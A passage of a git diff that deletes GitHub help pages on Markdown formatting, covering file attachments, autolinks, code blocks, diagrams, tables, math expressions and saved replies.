outlined in orange.](/assets/images/help/issues/attach-file-icon.png) - -When you attach a file, it is uploaded immediately to {% data variables.product.github %} and the text field is updated to show the anonymized URL for the file. {% ifversion fpt or ghec %}For more information on anonymized URLs see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-anonymized-urls).{% endif %} - -> [!NOTE] -> In many browsers, you can copy-and-paste images directly into the box. - -The maximum file size is: - -* 10MB for images and gifs{% ifversion fpt or ghec %} -* 10MB for videos uploaded to a repository owned by a user or organization on a free {% data variables.product.prodname_dotcom %} plan -* 100MB for videos uploaded to a repository owned by a user or organization on a paid {% data variables.product.prodname_dotcom %} plan{% elsif ghes %} -* 100MB for videos{% endif %} -* 25MB for all other files - -> [!NOTE] -> To upload videos greater than 10MB to a repository owned by a user or organization on a paid {% data variables.product.prodname_dotcom %} plan, you must either be an organization member or outside collaborator, or be on a paid plan. - -We support these files: - -* PNG (`.png`) -* GIF (`.gif`) -* JPEG (`.jpg`, `.jpeg`) -{%- ifversion svg-support %} -* SVG (`.svg`) -{%- endif %} -* Log files (`.log`) -* Markdown files (`.md`) -* Microsoft Word (`.docx`), PowerPoint (`.pptx`), and Excel (`.xlsx`) documents -* Text files (`.txt`) -* Patch files (`.patch`) - - > [!NOTE] - > If you use Linux and try to upload a `.patch` file, you will receive an error message. This is a known issue. - -* PDFs (`.pdf`) -* ZIP (`.zip`, `.gz`, `.tgz`) -* Video (`.mp4`, `.mov`, `.webm`) - - > [!NOTE] - > Video codec compatibility is browser specific, and it's possible that a video you upload to one browser is not viewable on another browser. At the moment we recommend using H.264 for greatest compatibility. diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md b/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md deleted file mode 100644 index 3f9c414092e8..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Autolinked references and URLs -intro: 'References to URLs, issues, pull requests, and commits are automatically shortened and converted into links.' -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /articles/autolinked-references-and-urls - - /github/writing-on-github/autolinked-references-and-urls - - /github/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Auto linked references ---- -## URLs - -{% data variables.product.github %} automatically creates links from standard URLs. - -`Visit https://github.com` - -![Screenshot of rendered {% data variables.product.github %} Markdown showing how a URL is displayed as a blue clickable link, "Visit https://github.com."](/assets/images/help/writing/url-autolink-rendered.png) - -For more information on creating links, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#links). - -## Issues and pull requests - -Within conversations on {% data variables.product.github %}, references to issues and pull requests are automatically converted to shortened links. - -> [!NOTE] -> Autolinked references are not created in wikis or files in a repository. - -| Reference type | Raw reference | Short link | -| --- | --- | --- | -| Issue or pull request URL | https://github.com/jlord/sheetsee.js/issues/26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) -| `#` and issue or pull request number | #26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) | -| `GH-` and issue or pull request number | GH-26 | [GH-26](https://github.com/jlord/sheetsee.js/issues/26) | -| `Username/Repository#` and issue or pull request number | jlord/sheetsee.js#26 | [jlord/sheetsee.js#26](https://github.com/jlord/sheetsee.js/issues/26) -| `Organization_name/Repository#` and issue or pull request number | github-linguist/linguist#4039 | [github-linguist/linguist#4039](https://github.com/github-linguist/linguist/pull/4039) - -{% ifversion fpt or ghec %} -If you reference an issue, pull request, or discussion in a list, the reference will unfurl to show the title and state instead. For more information about task lists, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). -{% endif %} - -## Labels - -When referencing the URL of a label in Markdown, the label is automatically rendered. Only labels of the same repository are rendered, URLs pointing to a label from a different repository are rendered as any [URL](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls#urls). - -The URL of a label can be found by navigating to the labels page and clicking on a label. For example, the URL of the label "enhancement" in our public [docs repository](https://github.com/github/docs/) is - -```markdown -https://github.com/github/docs/labels/enhancement -``` - -> [!NOTE] -> If the label name contains a period (`.`), the label will not automatically render from the label URL. - -## Commit SHAs - -References to a commit's SHA hash are automatically converted into shortened links to the commit on {% data variables.product.github %}. - -| Reference type | Raw reference | Short link | -| --- | --- | --- | -| Commit URL | [`https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | -| SHA | a5c3785ed8d6a35868bc169f07e40e889087fd2e | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | -| User@SHA | jlord@a5c3785ed8d6a35868bc169f07e40e889087fd2e | [jlord@a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) -| `Username/Repository@SHA` | `jlord/sheetsee.js@a5c3785ed8d6a35868bc169f07e40e889087fd2e` | [`jlord/sheetsee.js@a5c3785`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | - -### Troubleshooting referencing commit SHAs - -When referencing a commit from a private repository inside of a commit message, the commit SHA will only be shortlinked if at least one of the authors or committers of the commit have at least read access to the referenced commit. - -## Custom autolinks to external resources - -{% data reusables.repositories.autolink-references %} - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md b/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md deleted file mode 100644 index 089617dd060a..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Creating a permanent link to a code snippet -intro: You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-a-permanent-link-to-a-code-snippet - - /articles/creating-a-permanent-link-to-a-code-snippet - - /github/managing-your-work-on-github/creating-a-permanent-link-to-a-code-snippet - - /github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Permanent links to code ---- - -## Linking to code - -This type of permanent link will render as a code snippet only in the repository it originated in. In other repositories, the permalink code snippet will render as a URL. This does not work in Markdown files, only in comments. - -![Screenshot of an issue comment. A code snippet has a header that lists the file name and line numbers, and a body that lists the code on those lines.](/assets/images/help/repository/rendered-code-snippet.png) - -> [!TIP] -> To create a permalink for an entire file, see [AUTOTITLE](/repositories/working-with-files/using-files/getting-permanent-links-to-files). - -{% data reusables.repositories.navigate-to-repo %} -1. Locate the code you'd like to link to: - * To link to code from a file, navigate to the file. - * To link to code from a pull request, navigate to the pull request and click **{% octicon "diff" aria-hidden="true" %} Files changed**. Then, browse to the file that contains the code you want include in your comment, and click **View**. -{% data reusables.repositories.choose-line-or-range %} -1. To the left of the line or range of lines, click {% octicon "kebab-horizontal" aria-label="Code line X options" %}. In the drop-down menu, click **Copy permalink**. - - ![Screenshot of a file, with 8 lines selected. To the left of the first selected line, a button labeled with a kebab icon is outlined in dark orange.](/assets/images/help/repository/open-new-issue-specific-line.png) -1. Navigate to the conversation where you want to link to the code snippet. -1. Paste your permalink into a comment, and click **Comment**. - -## Linking to Markdown - -You can link to specific lines in Markdown files by loading the Markdown file without Markdown rendering. To load a Markdown file without rendering, you can use the `?plain=1` parameter at the end of the URL for the file. For example, `github.com///blob//README.md?plain=1`. - -You can link to a specific line in the Markdown file the same way you can in code. Append `#L` with the line number or numbers at the end of the URL. For example, `github.com///blob//README.md?plain=1#L14` will highlight line 14 in the plain README.md file. - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests) diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md deleted file mode 100644 index 765f4f7b731c..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Creating and highlighting code blocks -intro: Share samples of code with fenced code blocks and enabling syntax highlighting. -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /articles/creating-and-highlighting-code-blocks - - /github/writing-on-github/creating-and-highlighting-code-blocks - - /github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Create code blocks ---- - -## Fenced code blocks - -You can create fenced code blocks by placing triple backticks \`\`\` before and after the code block. We recommend placing a blank line before and after code blocks to make the raw formatting easier to read. - -````text -``` -function test() { - console.log("notice the blank line before this function?"); -} -``` -```` - -![Screenshot of rendered {% data variables.product.github %} Markdown showing the use of triple backticks to create code blocks. The block begins with "function test() {."](/assets/images/help/writing/fenced-code-block-rendered.png) - -> [!TIP] -> To preserve your formatting within a list, make sure to indent non-fenced code blocks by eight spaces. - -To display triple backticks in a fenced code block, wrap them inside quadruple backticks. - -`````text -```` -``` -Look! You can see my backticks. -``` -```` -````` - -![Screenshot of rendered Markdown showing that when you write triple backticks between quadruple backticks they are visible in the rendered content.](/assets/images/help/writing/fenced-code-show-backticks-rendered.png) - -{% data reusables.user-settings.enabling-fixed-width-fonts %} - -## Syntax highlighting - - - -You can add an optional language identifier to enable syntax highlighting in your fenced code block. - -Syntax highlighting changes the color and style of source code to make it easier to read. - -For example, to syntax highlight Ruby code: - -````text -```ruby -require 'redcarpet' -markdown = Redcarpet.new("Hello World!") -puts markdown.to_html -``` -```` - -This will display the code block with syntax highlighting: - -![Screenshot of three lines of Ruby code as displayed on {% data variables.product.prodname_dotcom %}. Elements of the code display in purple, blue, and red type for scannability.](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png) - -> [!TIP] -> When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll#syntax-highlighting). - -We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find out which keywords are valid in [the languages YAML file](https://github.com/github-linguist/linguist/blob/main/lib/linguist/languages.yml). - -## Creating diagrams - -You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams). - -## Further reading - -* [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md b/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md deleted file mode 100644 index 8df3b7777830..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Creating diagrams -intro: Create diagrams to convey information through charts and graphs -product: '{% data reusables.gated-features.markdown-ui %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Create diagrams ---- - -## About creating diagrams - -You can create diagrams in Markdown using four different syntaxes: mermaid, geoJSON, topoJSON, and ASCII STL. Diagram rendering is available in {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, pull requests, wikis, and Markdown files. - -## Creating Mermaid diagrams - -Mermaid is a Markdown-inspired tool that renders text into diagrams. For example, Mermaid can render flow charts, sequence diagrams, pie charts and more. For more information, see the [Mermaid documentation](https://mermaid-js.github.io/mermaid/#/). - -To create a Mermaid diagram, add Mermaid syntax inside a fenced code block with the `mermaid` language identifier. For more information about creating code blocks, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - -For example, you can create a flow chart by specifying values and arrows. - -````text -Here is a simple flow chart: - -```mermaid -graph TD; - A-->B; - A-->C; - B-->D; - C-->D; -``` -```` - -![Screenshot of a rendered Mermaid flow chart with four lavender boxes labeled A, B, C, and D. Arrows extend from A to B, B to D, A to C, and C to D.](/assets/images/help/writing/mermaid-flow-chart.png) - -> [!NOTE] -> You may observe errors if you run a third-party Mermaid plugin when using Mermaid syntax on {% data variables.product.company_short %}. - -### Checking your version of Mermaid - -To ensure {% data variables.product.company_short %} supports your Mermaid syntax, check the Mermaid version currently in use. - -````text -```mermaid - info -``` -```` - -## Creating GeoJSON and TopoJSON maps - -You can use GeoJSON or TopoJSON syntax to create interactive maps. To create a map, add GeoJSON or TopoJSON inside a fenced code block with the `geojson` or `topojson` syntax identifier. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - -{% ifversion ghec %} - ->[!NOTE] GeoJSON and TopoJSON maps are not available on subdomains of {% data variables.enterprise.data_residency_site %}, such as `octocorp.ghe.com`. - -{% endif %} - -{% data reusables.advanced-formatting.administrator-must-enable-mapping %} - -### Using GeoJSON - -For example, you can create a map by specifying coordinates. - -````text -```geojson -{ - "type": "FeatureCollection", - "features": [ - { - "type": "Feature", - "id": 1, - "properties": { - "ID": 0 - }, - "geometry": { - "type": "Polygon", - "coordinates": [ - [ - [-90,35], - [-90,30], - [-85,30], - [-85,35], - [-90,35] - ] - ] - } - } - ] -} -``` -```` - -![Screenshot of a rendered GeoJSON map of the southeastern United States with a purple rectangular overlay over parts of Alabama and Mississippi.](/assets/images/help/writing/fenced-geojson-rendered-map.png) - -### Using TopoJSON - -For example, you can create a TopoJSON map by specifying coordinates and shapes. - -````text -```topojson -{ - "type": "Topology", - "transform": { - "scale": [0.0005000500050005, 0.00010001000100010001], - "translate": [100, 0] - }, - "objects": { - "example": { - "type": "GeometryCollection", - "geometries": [ - { - "type": "Point", - "properties": {"prop0": "value0"}, - "coordinates": [4000, 5000] - }, - { - "type": "LineString", - "properties": {"prop0": "value0", "prop1": 0}, - "arcs": [0] - }, - { - "type": "Polygon", - "properties": {"prop0": "value0", - "prop1": {"this": "that"} - }, - "arcs": [[1]] - } - ] - } - }, - "arcs": [[[4000, 0], [1999, 9999], [2000, -9999], [2000, 9999]],[[0, 0], [0, 9999], [2000, 0], [0, -9999], [-2000, 0]]] -} -``` -```` - -![Screenshot of a rendered TopoJSON map of Indonesia, Singapore, and Malaysia with a blue point, a purple rectangular overlay, and blue zigzag lines.](/assets/images/help/writing/fenced-topojson-rendered-map.png) - -For more information on working with `.geojson` and `.topojson` files, see [AUTOTITLE](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github). - -## Creating STL 3D models - -You can use ASCII STL syntax directly in markdown to create interactive 3D models. To display a model, add ASCII STL syntax inside a fenced code block with the `stl` syntax identifier. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - -For example, you can create a simple 3D model: - -````text -```stl -solid cube_corner - facet normal 0.0 -1.0 0.0 - outer loop - vertex 0.0 0.0 0.0 - vertex 1.0 0.0 0.0 - vertex 0.0 0.0 1.0 - endloop - endfacet - facet normal 0.0 0.0 -1.0 - outer loop - vertex 0.0 0.0 0.0 - vertex 0.0 1.0 0.0 - vertex 1.0 0.0 0.0 - endloop - endfacet - facet normal -1.0 0.0 0.0 - outer loop - vertex 0.0 0.0 0.0 - vertex 0.0 0.0 1.0 - vertex 0.0 1.0 0.0 - endloop - endfacet - facet normal 0.577 0.577 0.577 - outer loop - vertex 1.0 0.0 0.0 - vertex 0.0 1.0 0.0 - vertex 0.0 0.0 1.0 - endloop - endfacet -endsolid -``` -```` - -![Screenshot of a 3D model of a blue pyramid on a grid of black lines. Options "Wireframe", "Surface Angle", or "Solid" appear at bottom.](/assets/images/help/writing/fenced-stl-rendered-object.png) - -For more information on working with `.stl` files, see [AUTOTITLE](/repositories/working-with-files/using-files/working-with-non-code-files#3d-file-viewer). diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/index.md b/content/get-started/writing-on-github/working-with-advanced-formatting/index.md deleted file mode 100644 index a955df419dfb..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Working with advanced formatting -intro: 'Formatting like tables, syntax highlighting, and automatic linking allows you to arrange complex information clearly in your pull requests, issues, and comments.' -redirect_from: - - /articles/working-with-advanced-formatting - - /github/writing-on-github/working-with-advanced-formatting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /organizing-information-with-tables - - /organizing-information-with-collapsed-sections - - /creating-and-highlighting-code-blocks - - /creating-diagrams - - /writing-mathematical-expressions - - /autolinked-references-and-urls - - /attaching-files - - /about-task-lists - - /creating-a-permanent-link-to-a-code-snippet - - /using-keywords-in-issues-and-pull-requests -shortTitle: Work with advanced formatting ---- - diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md deleted file mode 100644 index 5cbf022ed92a..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Organizing information with collapsed sections -intro: You can streamline your Markdown by creating a collapsed section with the `
` tag. -product: '{% data reusables.gated-features.markdown-ui %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections -shortTitle: Collapsed sections ---- -## Creating a collapsed section - -You can temporarily obscure sections of your Markdown by creating a collapsed section that the reader can choose to expand. For example, when you want to include technical details in an issue comment that may not be relevant or interesting to every reader, you can put those details in a collapsed section. - -Any Markdown within the `
` block will be collapsed until the reader clicks {% octicon "triangle-right" aria-label="The right triangle icon" %} to expand the details. - -Within the `
` block, use the `` tag to let readers know what is inside. The label appears to the right of {% octicon "triangle-right" aria-label="The right triangle icon" %}. - -````markdown -
- -Tips for collapsed sections - -### You can add a header - -You can add text within a collapsed section. - -You can add an image or a code block, too. - -```ruby - puts "Hello World" -``` - -
-```` - -The Markdown inside the `` label will be collapsed by default: - -![Screenshot of the Markdown above on this page as rendered on {% data variables.product.github %}, showing a right-facing arrow and the header "Tips for collapsed sections."](/assets/images/help/writing/collapsed-section-view.png) - -After a reader clicks {% octicon "triangle-right" aria-label="The right triangle icon" %}, the details are expanded: - -![Screenshot of the Markdown above on this page as rendered on {% data variables.product.github %}. The collapsed section contains headers, text, images, and code blocks.](/assets/images/help/writing/open-collapsed-section.png) - -Optionally, to make the section display as open by default, add the `open` attribute to the `
` tag: - -```html -
-``` - -## Further reading - -* [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md deleted file mode 100644 index 7512a7862b30..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Organizing information with tables -intro: 'You can build tables to organize information in comments, issues, pull requests, and wikis.' -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /articles/organizing-information-with-tables - - /github/writing-on-github/organizing-information-with-tables - - /github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Organized data with tables ---- -## Creating a table - -You can create tables with pipes `|` and hyphens `-`. Hyphens are used to create each column's header, while pipes separate each column. You must include a blank line before your table in order for it to correctly render. - -```markdown - -| First Header | Second Header | -| ------------- | ------------- | -| Content Cell | Content Cell | -| Content Cell | Content Cell | -``` - -![Screenshot of a {% data variables.product.github %} Markdown table rendered as two equal columns. Headers are shown in boldface, and alternate content rows have gray shading.](/assets/images/help/writing/table-basic-rendered.png) - -The pipes on either end of the table are optional. - -Cells can vary in width and do not need to be perfectly aligned within columns. There must be at least three hyphens in each column of the header row. - -```markdown -| Command | Description | -| --- | --- | -| git status | List all new or modified files | -| git diff | Show file differences that haven't been staged | -``` - -![Screenshot of a {% data variables.product.github %} Markdown table with two columns of differing width. Rows list the commands "git status" and "git diff" and their descriptions.](/assets/images/help/writing/table-varied-columns-rendered.png) - -{% data reusables.user-settings.enabling-fixed-width-fonts %} - -## Formatting content within your table - -You can use [formatting](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table: - -```markdown -| Command | Description | -| --- | --- | -| `git status` | List all *new or modified* files | -| `git diff` | Show file differences that **haven't been** staged | -``` - -![Screenshot of a {% data variables.product.github %} Markdown table with the commands formatted as code blocks. Bold and italic formatting are used in the descriptions.](/assets/images/help/writing/table-inline-formatting-rendered.png) - -You can align text to the left, right, or center of a column by including colons `:` to the left, right, or on both sides of the hyphens within the header row. - -```markdown -| Left-aligned | Center-aligned | Right-aligned | -| :--- | :---: | ---: | -| git status | git status | git status | -| git diff | git diff | git diff | -``` - -![Screenshot of a Markdown table with three columns as rendered on {% data variables.product.github %}, showing how text within cells can be set to align left, center, or right.](/assets/images/help/writing/table-aligned-text-rendered.png) - -To include a pipe `|` as content within your cell, use a `\` before the pipe: - -```markdown -| Name | Character | -| --- | --- | -| Backtick | ` | -| Pipe | \| | -``` - -![Screenshot of a Markdown table as rendered on {% data variables.product.github %} showing how pipes, which normally close cells, are shown when prefaced by a backslash.](/assets/images/help/writing/table-escaped-character-rendered.png) - -## Further reading - -* [{% data variables.product.github %} Flavored Markdown Spec](https://github.github.com/gfm/) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md b/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md deleted file mode 100644 index 895ba0f9767e..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Using keywords in issues and pull requests -intro: Use keywords to link an issue and pull request or to mark an issue or pull request as a duplicate. -product: '{% data reusables.gated-features.markdown-ui %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /github/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests -topics: - - Issues - - Pull requests ---- - -## Linking a pull request to an issue - -To link a pull request to an issue to show that a fix is in progress and to automatically close the issue when someone merges the pull request, type one of the following keywords followed by a reference to the issue. For example, `Closes #10` or `Fixes octo-org/octo-repo#100`. - - -* close -* closes -* closed -* fix -* fixes -* fixed -* resolve -* resolves -* resolved - - -For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -## Marking an issue or pull request as a duplicate - -To mark an issue or pull request as a duplicate, type "Duplicate of" followed by the issue or pull request number it duplicates in the body of a new comment. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate). diff --git a/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md b/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md deleted file mode 100644 index 89473b6d99af..000000000000 --- a/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Writing mathematical expressions -intro: 'Use Markdown to display mathematical expressions on {% data variables.product.github %}.' -product: '{% data reusables.gated-features.markdown-ui %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Mathematical expressions ---- - -## About writing mathematical expressions - -To enable clear communication of mathematical expressions, {% data variables.product.github %} supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. - -{% data variables.product.github %}'s math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentation](http://docs.mathjax.org/en/latest/input/tex/index.html#tex-and-latex-support) and [the MathJax Accessibility Extensions Documentation](https://mathjax.github.io/MathJax-a11y/docs/#reader-guide). - -Mathematical expressions rendering is available in {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, pull requests, wikis, and Markdown files. - -## Writing inline expressions - -There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with $\` and end it with \`$. The latter syntax is useful when the expression you are writing contains characters that overlap with markdown syntax. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). - -```text -This sentence uses `$` delimiters to show math inline: $\sqrt{3x-1}+(1+x)^2$ -``` - -![Screenshot of rendered Markdown showing an inline mathematical expression: the square root of 3x minus 1 plus (1 plus x) squared.](/assets/images/help/writing/inline-math-markdown-rendering.png) - -```text -This sentence uses $\` and \`$ delimiters to show math inline: $`\sqrt{3x-1}+(1+x)^2`$ -``` - -![Screenshot of rendered Markdown showing an inline mathematical expression with backtick syntax: the square root of 3x minus 1 plus (1 plus x) squared.](/assets/images/help/writing/inline-backtick-math-markdown-rendering.png) - -## Writing expressions as blocks - -To add a math expression as a block, start a new line and delimit the expression with two dollar symbols `$$`. - ->[!TIP] If you're writing in an .md file, you will need to use specific formatting to create a line break, such as ending the line with a backslash as shown in the example below. For more information on line breaks in Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#line-breaks). - -```text -**The Cauchy-Schwarz Inequality**\ -$$\left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right)$$ -``` - -![Screenshot of rendered Markdown showing a complex equation. Bold text reads "The Cauchy-Schwarz Inequality" above the formula for the inequality.](/assets/images/help/writing/math-expression-as-a-block-rendering.png) - -Alternatively, you can use the \`\`\`math code block syntax to display a math expression as a block. With this syntax, you don't need to use `$$` delimiters. The following will render the same as above: - -````text -**The Cauchy-Schwarz Inequality** - -```math -\left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right) -``` -```` - -## Writing dollar signs in line with and within mathematical expressions - -To display a dollar sign as a character in the same line as a mathematical expression, you need to escape the non-delimiter `$` to ensure the line renders correctly. - -* Within a math expression, add a `\` symbol before the explicit `$`. - - ```text - This expression uses `\$` to display a dollar sign: $`\sqrt{\$4}`$ - ``` - - ![Screenshot of rendered Markdown showing how a backslash before a dollar sign displays the sign as part of a mathematical expression.](/assets/images/help/writing/dollar-sign-within-math-expression.png) - -* Outside a math expression, but on the same line, use span tags around the explicit `$`. - - ```text - To split $100 in half, we calculate $100/2$ - ``` - - ![Screenshot of rendered Markdown showing how span tags around a dollar sign display the sign as inline text not as part of a mathematical equation.](/assets/images/help/writing/dollar-sign-inline-math-expression.png) - -## Further reading - -* [The MathJax website](http://mathjax.org) -* [Getting started with writing and formatting on GitHub](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) -* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) diff --git a/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md b/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md deleted file mode 100644 index cff09a3abd2a..000000000000 --- a/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: About saved replies -intro: You can use a saved reply to respond to an issue or pull request. -redirect_from: - - /articles/about-saved-replies - - /github/writing-on-github/about-saved-replies - - /github/writing-on-github/working-with-saved-replies/about-saved-replies -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -Saved replies allow you to create a reusable response to issues and pull requests. Save time by creating a saved reply for the responses you use most frequently. - -Once you've added a saved reply, it can be used in issues, pull requests, and discussions. Saved replies are tied to your personal account. Once they're created, you'll be able to use them across repositories and organizations. - -You can create a maximum of 100 saved replies. If you've reached the maximum limit, you can delete saved replies that you no longer use or edit existing saved replies. - -You can also use the {% data variables.product.github %}-provided "Duplicate issue" saved reply to mark an issue as a duplicate and track it with a similar issue. - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/using-saved-replies) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply) diff --git 